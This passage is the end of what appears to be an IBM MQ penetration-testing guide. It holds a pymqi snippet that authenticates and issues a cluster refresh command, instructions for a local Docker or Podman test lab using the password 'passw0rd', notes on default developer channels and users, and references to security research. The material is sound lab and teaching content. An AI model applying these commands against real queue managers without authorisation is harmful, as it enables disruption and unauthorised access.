    553 > password = 'passw0rd'
    554 >
    555 > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
    556 > pcf = pymqi.PCFExecute(qmgr)
    557 >
    558 > try:
    559 >    args = {2029: "*"}
    560 >    response = pcf.MQCMD_REFRESH_CLUSTER(args)
    561 > except pymqi.MQMIError as e:
    562 >    print("Error")
    563 > else:
    564 >    print(response)
    565 >
    566 > qmgr.disconnect()
    567 > ```
    568 
    569 ## Testing environment
    570 
    571 To test IBM MQ behavior safely, set up a local containerized environment:
    572 
    573 1. Having an account on ibm.com and cloud.ibm.com.
    574 2. Create a containerized IBM MQ with:
    575 
    576 ```bash
    577 sudo docker pull icr.io/ibm-messaging/mq:latest
    578 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
    579 ```
    580 
    581 Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
    582 
    583 Recent **9.4.x** developer images changed the out-of-the-box behavior:<sup>[[7]](#references)</sup>
    584 
    585 - `admin` and `app` are only created if you set their passwords
    586 - IBM documents `MQ_ADMIN_PASSWORD` / `MQ_APP_PASSWORD` as **deprecated** from `9.4.0.0`
    587 - The preferred way is to inject secrets named `mqAdminPassword` and `mqAppPassword`
    588 
    589 For a quick local lab with Podman, you can create both users like this:
    590 
    591 ```bash
    592 printf 'passw0rd' | podman secret create mqAdminPassword -
    593 printf 'passw0rd' | podman secret create mqAppPassword -
    594 podman run --secret mqAdminPassword --secret mqAppPassword \
    595   -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
    596   -p1414:1414 -p9157:9157 -p9443:9443 \
    597   --name testing-ibmmq icr.io/ibm-messaging/mq:latest
    598 ```
    599 
    600 With the default developer configuration:<sup>[[7]](#references)</sup>
    601 
    602 - `DEV.ADMIN.SVRCONN` only allows the `admin` user
    603 - `DEV.APP.SVRCONN` is the application channel and the `app` user is the expected identity
    604 - `DEV.BASE.TOPIC` is created with topic string `dev/`
    605 - the `app` user is usually granted `put`, `get`, `browse`, `inq`, `pub`, and `sub` on `DEV.*` resources
    606 - `https://<target>:9443/ibmmq/console` exposes the web console when the embedded web server is enabled
    607 
    608 You should have the IBM MQ up and running with its ports exposed:
    609 
    610 ```bash
    611 ❯ sudo docker ps
    612 CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
    613 58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq
    614 ```
    615 
    616 > The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.
    617 
    618 ## References
    619 
    620 - [1] [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
    621 - [2] [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
    622 - [3] [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
    623 - [4] [IBM MQ REST API: `/admin/action/qmgr/{qmgrName}/mqsc`](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=resources-adminactionqmgrqmgrnamemqsc)
    624 - [5] [IBM MQ messaging REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=mq-messaging-using-rest-api)
    625 - [6] [IBM MQ token-based authentication for the REST API](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=security-using-token-based-authentication-rest-api)
    626 - [7] [IBM MQ container default developer configuration](https://github.com/ibm-messaging/mq-container/blob/master/docs/developer-config.md)
    627 - [8] [Defining an administrative subscription](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=subscriptions-defining-administrative-subscription)
    628 - [9] [Starting IBM MQ applications using triggers](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=queuing-starting-mq-applications-using-triggers)
    629 - [10] [Redistributable IBM MQ clients](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=overview-redistributable-mq-clients)
    630 - [11] [SensePost – Punching Messages in the Q](https://sensepost.com/blog/2018/punching-messages-in-the-q/)
    631 - [12] [IBM MQ - User identities in IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.4.x?topic=authentication-user-identities-in-mq)